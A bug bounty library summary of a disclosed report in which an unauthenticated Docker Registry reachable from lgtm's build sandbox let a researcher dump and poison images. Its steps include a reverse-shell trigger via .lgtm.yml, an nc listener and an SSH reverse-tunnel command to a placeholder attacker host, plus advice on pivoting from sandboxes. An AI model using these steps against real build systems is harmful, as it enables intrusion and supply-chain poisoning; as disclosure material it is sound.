# Docker Registry HTTP API v2 exposed in HTTP without authentication leads to docker images dumping and poisoning

Unauthenticated Docker Registry v2 on port 5000 reachable from build sandbox allowed dumping and poisoning of lgtm/top images.

- Payout: hidden
- Severity: critical
- Program: Semmle
- Found by: thehackerish
- Disclosed: 2020-06-06
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/347296
- Library page: https://bugbountylibrary.com/r/h1%3A347296
- Tags: area:cloud domain:cloud domain:infra impact:integrity impact:internal-access kind:bounty platform:hackerone sev:critical tech:docker technique:chained technique:recon vuln:access-control vuln:misconfiguration vuln:rce

**Target:** Docker Registry HTTP API v2 on port 5000
**Root cause:** Registry v2 served over plain HTTP with no authentication, reachable from the sandboxed build container network to the host at 172.17.0.1:5000.
**Steps:**
1. Create GitHub repo with `.lgtm.yml` setting `ATTACKER_HOST`/`ATTACKER_PORT` to trigger reverse shell in build container.
2. Start listener: `nc -vlp ATTACKER_PORT`.
3. Add project to lgtm; build yields reverse shell.
4. From build container: `ssh -R 5555:172.17.0.1:5000 attacker@ATTACKER_HOST -p SSH_PORT -f -N`.
5. Use docker_fetch against `http://127.0.0.1:5555` to dump target repository.
6. Test upload via `/v2/<name>/blobs/uploads/`; server returned upload uuid, indicating uploads unrestricted.
**How found:** While exploring the environment hosting the sandboxed build container, noticed port 5000 open on another machine (likely host) and recognized it as a Docker Registry, then reached it and dumped lgtm/top.
**Exploitation:** Attacker gets code execution in the build sandbox via .lgtm.yml, then reverse-SSH-tunnels the host's registry port 5000 out, dumping images and confirming blob upload initiation was permitted (poisoning possible).
**Escalation:** Tunnel persisted after sandbox shell loss, suggesting a sandbox escape beyond the build container.
**Insight:** Build sandboxes often share a Docker bridge with the host; scan 172.17.0.1 for registry port 5000 and pivot via reverse SSH tunnels that survive shell loss.